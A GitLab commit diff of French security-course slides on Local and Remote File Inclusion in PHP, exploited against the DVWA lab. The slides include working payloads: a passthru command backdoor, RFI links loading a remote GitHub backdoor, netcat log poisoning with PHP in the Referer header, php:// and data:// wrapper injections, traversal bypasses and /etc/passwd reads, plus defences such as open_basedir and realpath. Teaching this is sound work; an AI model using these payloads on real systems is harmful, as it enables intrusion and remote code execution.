Skip to content
Snippets Groups Projects
Commit 890fb226 authored by Vincent Mazenod's avatar Vincent Mazenod
Browse files

LFI

parent f9b1cdff
No related branches found
No related tags found
No related merge requests found
Pipeline #11237 passed
......@@ -36,6 +36,7 @@
</div>
<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
<script src="../main.js"></script>
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
......
<pre><?php system('hostname'); ?></pre>
\ No newline at end of file
......@@ -7,11 +7,11 @@
<title>File inclusion</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
......@@ -35,7 +35,7 @@
</div>
</div>
<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
......@@ -66,5 +66,6 @@
]
});
</script>
<script src="../main.js"></script>
</body>
</html>
......@@ -99,6 +99,7 @@ localhost|ls
Note:
-détailler l'expression régulière
### CMDi / security impossible
* l'approche est ici différente
......@@ -155,8 +156,8 @@ Note:
* utiliser shell_escape_args() en php
* utliser JSON.parse plutot qu'un eval() de JSON
* utiliser des lib spéacilisées
* [<i class="fa fa-github"></i> symfony/Filesystem](https://github.com/symfony/Filesystem)
* [<i class="fa fa-github"></i> symfony/Finder](https://github.com/symfony/Finder)
* [<i class="fab fa-github"></i> symfony/Filesystem](https://github.com/symfony/Filesystem)
* [<i class="fab fa-github"></i> symfony/Finder](https://github.com/symfony/Finder)
Note:
- faire marcher le bon sens
......
......@@ -2,6 +2,8 @@
## aka LFI / RFI
### Local File Inclusion / Remote File Inclusion
## File Inclusion
......@@ -19,16 +21,14 @@ include($_REQUEST['filename']);
* concerne [include](http://php.net/manual/fr/function.include.php), [include_once](http://php.net/manual/fr/function.include-once.php), [require](http://php.net/manual/fr/function.require.php), [require_once](http://php.net/manual/fr/function.require-once.php), [fopen](http://php.net/manual/fr/function.fopen.php)
## Local File Inclusion (LFI)
### [security low](http://dv.wa/vulnerabilities/fi/?page=include.php)
## LFI / security low
* souvent appelé **Directory traversal**
* permet d'accéder à des fichiers sensibles
* [http://dv.wa/vulnerabilities/fi/?page=/etc/passwd](http://dv.wa/vulnerabilities/fi/?page=/etc/passwd)
* [http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=/etc/passwd](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=/etc/passwd)
* marche aussi avec /etc/hosts, ~/.bashrc, ~/.bash_history ...
* marche pas avec /etc/shadow
* marche aussi avec `/etc/hosts`, `~/.bashrc`, `~/.bash_history` ...
* marche pas avec `/etc/shadow`
Note:
- open base dir
......@@ -37,242 +37,130 @@ Note:
- anciennement safe_mode
### fichiers sytèmes connus
* fichiers systèmes génériques
* c:\boot.ini, c:\windows, c:\windows\system32\drivers\etc\hosts
* /etc/passwd
* utilisé des paths absolus
* utilisé des paths relatifs (../.. ou ..\\..)
* windows
* les sevrices tournent souvent en administrateur
* linux
* services en root
* threads avec utlisateur sans privilege
Note:
- pas de troll sur windows
- stackoverflow fonctionne en .net
- microsoft a ouvert de nombreux projets
- les path en pahse de détection sont d'un grand secours pour comprendre l'organisation du filesystem
### fonction de l'architecture du code
## LFI / quelques pistes
* charger la page appelée
* [http://dv.wa/vulnerabilities/fi/?page=index.php](http://dv.wa/vulnerabilities/fi/?page=index.php)
* paths absolus / paths relatifs (../.. ou ..\\..)
* linux `/etc/passwd`, `../../../../../etc/hosts`
* windows `c:\boot.ini`, `c:\windows`, `c:\windows\system32\drivers\etc\hosts`
* [http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=index.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=index.php)
* boucle infinie = ca marche
* invalider par (include|require)&lowbar;once
### fonction de l'architecture du code
* dossier d'inclusion dynamique de fichier
* paramètres d'url full path
* ?config=../template.htm
* paramètres d'url obfusqué
* ?config=site
```php
include "config/".$config.".php";
```
* [url rewriting](https://www.webrankinfo.com/dossiers/techniques/tutoriel-url-rewriting) à prendre en compte
[http://dum.my/config.php?config=conf.inc](http://dum.my/config.php?config=conf.inc%00)
Note:
- magic_quote_gpc doit être disabled
- supprimé de la version 5.4.0
- pas maquettée on une 5.4.41 sur debian
- code source inclu interprété ou pas
- pas toujours évident à savoir
- bien comprendre le contexte
- importance des paths collecter à l'étape de détection
- exploitable via http://mutillid.ae https://www.youtube.com/watch?v=t8w6Bd5zxbU
- textfile passé en post à intercepter avec burp
- bon exercice
## Remote File Inclusion (RFI)
## RFI
* inclusion de code arbitraire
* Backdoor ou Remote shell
* dépend de la configuration de php
* par défaut
* dépend de la configuration de php `/etc/php/7.4/apache2/php.ini`
```ini
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include=Off
allow_url_include=On # just for test purpose
```
* à On pour les besoins du TP
* certains produits PHP nécessitent cette option
`$ sudo systemctl restart apache2`
<i class="fa-solid fa-face-grin-squint-tears"></i> certains produits PHP nécessitent cette option!
### [security medium](http://dv.wa/vulnerabilities/fi/?page=include.php)
Approche artisanale
## RFI / security low
```php
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
```
* <small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=http://perdu.com](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=http://perdu.com)</small>
* <i class="fas fa-poop"></i> drôle mais pas très utile
Note:
- discuter la surcharge du php.ini via .htaccess
- solution ispconfig
- on reste bien sur security low pour que ca marche
* <small>[https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small>
* <small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small>
* <i class="fa-solid fa-poo"></i> un peu frustrant
## Backdoor
* basiquement permet d'exécuter du code et / ou des commandes systèmes
* Basiquement permet d'exécuter du code et / ou des commandes systèmes
* version artisanale
```php
echo passthru($_GET['cmd']);
```
* version plus robuste
* [<i class='fab fa-github' aria-hidden='true'></i> dberliner/php-backdoor](https://github.com/dberliner/php-backdoor)
* [r57shell.net](http://www.r57shell.net/)
```php
echo passthru($_GET['cmd']);
```
* version plus robuste
* [<i class='fa fa-github' aria-hidden='true'></i> dberliner/php-backdoor](https://github.com/dberliner/php-backdoor)
* [r57shell.net](http://www.r57shell.net/)
## RFI / backdoor
## remote raw backdoor
<small>[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php)</small>
<small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php)</small>
### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i>
<small>[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls)</small>
<small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls)</small>
### <i class="fa fa-thumbs-o-down" aria-hidden="true"></i>
<small>[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls)
<small>[http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls)
</small>
### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i>
### [security medium](http://dv.wa/vulnerabilities/fi/?page=include.php)
#### log poisoning
## RFI / security medium
* ne nécessite aucun accès en écriture sur le système de fichier
* nécessite une mauvaise configuration des permissions sur les logs (custom logs)
* [exploitable avec les logs ssh, apache, mysql](http://oleaass.com/file-inclusion-log-poisoning-to-code-execution/)
dans `/etc/apache2/sites-enabled/dvwa`
```ìni
CustomLog /home/mazenovi/logs/dvwa-access.log combined
```
#### log poisoning
* l'utilisateur lié au thread apache a accès en lecture à ce répertoire
[http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log](http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log)
* les logs sont affichés
```php
$file = str_replace(
array( "http://", "https://" ),
"",
$file
);
```
* <small>`?page=hthttp://tp://www.google.fr`</small>
#### [wrappers php](https://www.php.net/manual/en/wrappers.php)
* <small>`?page=php://filter/convert.base64-encode/resource=file1.php`</small>
* récupère le code source php du fichier file1.php
* <small>`?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=`</small>
* exécute `<?php system("hostname"); ?>`
Note:
- j'ai volontairement configuré les logs dans un endroit non sécurisé pour que ca marche
- pour des facilités de lectures ou d'archivage ca poeut êtyre une idée (mauvaise)
- lien symbolique doit marcher ausssi
## injection de la backdoor
* netcat (aka nc) permetd'ouvrir des connexions UDP ou TCP
```shell
$ nc dv.wa 80
```
* Entrer manuellement les paramètres suivant
```http
GET / HTTP/1.1
Host: dv.wa
Referer: <?php echo passthru($_GET['cmd']); ?>
User-Agent: 1337-webbrowser
```
[http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls](http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls)
- discuter la surcharge du php.ini via .htaccess
- solution ispconfig
- on reste bien sur security low pour que ca marche
attendre le log rotate en cas d'échec
Note:
- notez que les .log ne sont pas associés à l'interpréteur PHP au niveau d'apache
- c'est le include qui interprète gentiment ce qui est entre <?php ... ?>
- attention c'est un one shot
- > /home/mazenovi/logs/dvwa-access.log pour bien voir
- > /home/mazenovi/logs/dvwa-error.log pour bien voir
- ctrl + f "help" pour trouver les rep listés on est dans
- /var/www/dvwa/vulnerabilities/fi/
## LFI / security medium
```php
$file = str_replace(
array( "../", "..\\" ),
"",
$file
);
```
## PHP [safe mode](http://php.net/manual/fr/ini.sect.safe-mode.php)
* <small>`?page=../../../../../etc/hosts`</small>
* ne fonctionne plus
* <small>`?page=../..././..././..././..././..././etc/hosts`</small>
* permet d'échapper l'échappement
* <small>`?page=/etc/passwd`</small>
* Les paths absolus fonctionnent toujours
* Quand safe mode est actif, PHP vérifie que le propriétaire du script courant est le même que le propriétaire des fichiers ou dossiers qui seront manipulés par ce script.
```shell
-rw-rw-r-- 1 rasmus rasmus 33 Jul 1 19:20 script.php
-rw-r--r-- 1 root root 1116 May 26 18:01 /etc/passwd
```
## LFI / security high
```php
readfile('/etc/passwd');
```
```shell
Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not
allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
```
* accès au fichier caché
* <small>`?page=file4.php`</small>
* [wrapper file](https://www.php.net/manual/en/wrappers.file.php)
* <small>`?page=file:///etc/hosts`</small>
* le dossier file n'existe pas mais php résout tout de même
* <small>`?page=file/../../../../../../etc/hosts`</small>
## PHP [safe mode](http://php.net/manual/fr/ini.sect.safe-mode.php)
* senser résoudre le problème du partage de PHP en environnement mutualisé
* déprécié en 5.3
* supprimé depuis 5.4
* approche non réaliste
* ce n'est pas à PHP de régler ce problème
* [safe_mode_gid](http://php.net/manual/fr/ini.sect.safe-mode.php#ini.safe-mode-gid) permet d'élargir au groupe s'il est activé
## [suPHP](http://www.suphp.org/Home.html)
* executing PHP scripts with the permissions of their owners
* Apache module (mod_suphp)
* setuid root binary (suphp)
* called by the Apache module to change the uid of the process executing the PHP interpreter
* rien ne doit être en chmod 777
* reporté comme erreur
abandonné depuis 2013
## [suExec](http://httpd.apache.org/docs/2.4/fr/suexec.html)
* Au niveau d'Apache
* exécution des programmes CGI et SSI (Server Side Inclusion)
* utilisateur autre que celui par défaut d'apache
Note:
- bien pour le multi hosting notamment
- chacun ne peut ruiner que son périmètre
- Utilisée de manière appropriée
- réduit considérablement les risques de sécurité
- les deux sont déconseillés car ils se basent sur des mod PHP peu performant par rapport à PHP-FPM
## [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
## <i class="fa fa-medkit"></i> [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
* A l'appel de fonctions de type [require_once](http://php.net/manual/fr/function.require-once.php) ou [fopen](http://php.net/manual/fr/function.fopen.php)
* le chemin vers le fichier est analysé
......@@ -282,7 +170,7 @@ Note:
* il n'est pas possible d'outre-passer cette restriction avec un lien symbolique
## [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
## <i class="fa fa-medkit"></i> [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
* **.** inclue le fichier lui-même
* problématique si on change le dossier courant avec [chdir()](http://php.net/manual/fr/function.chdir.php)
......@@ -298,7 +186,7 @@ Note:
- on peut désactiver chdir ...
## [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)
## <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)
* realpath()
* converti tous les *.* et **..** en path absolue
......@@ -308,11 +196,11 @@ Note:
* 2 fonctions qui combinées évitent les directory traversal
## [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)
## <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)
```php
$username = $_GET['user'];
$filename = "/home/users/".$username;
$filename = "/home/users/".$username.".txt";
readfile($filename);
```
......@@ -320,7 +208,7 @@ peut être sécurisé via realpath() et basename()
```php
$username = basename(realpath($_GET['user']));
$filename = "/home/users/".$username;
$filename = "/home/users/".$username.".txt";
readfile($filename);
```
......@@ -329,15 +217,9 @@ ne préserve pas d'une LFI dans le même répertoire
## <i class="fa fa-medkit"></i> Se préserver
* filtrer ses entrées
* avec realpath() et basename()
* par listes blanches
* déscativer allow_url_include
* utiliser l'open_base_dir
## <i class="fa fa-medkit"></i> Se préserver
* utiliser open_base_dir
* désactiver l'exécution de php sur les répertoires exposés qui n'en ont pas besoin (c.f. [upload](upload.htm))
* faire attention aux permissions des logs notamment en lecture
* écriture forcément autoriser pour l'utilisateur qui fait tourner le serveur
* filtrer ses entrées
* par listes blanches
* avec realpath() et basename()
\ No newline at end of file
"use strict";
document.addEventListener('DOMContentLoaded', function() {
console.log(document.getElementsByTagName("a"));
}, false);
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment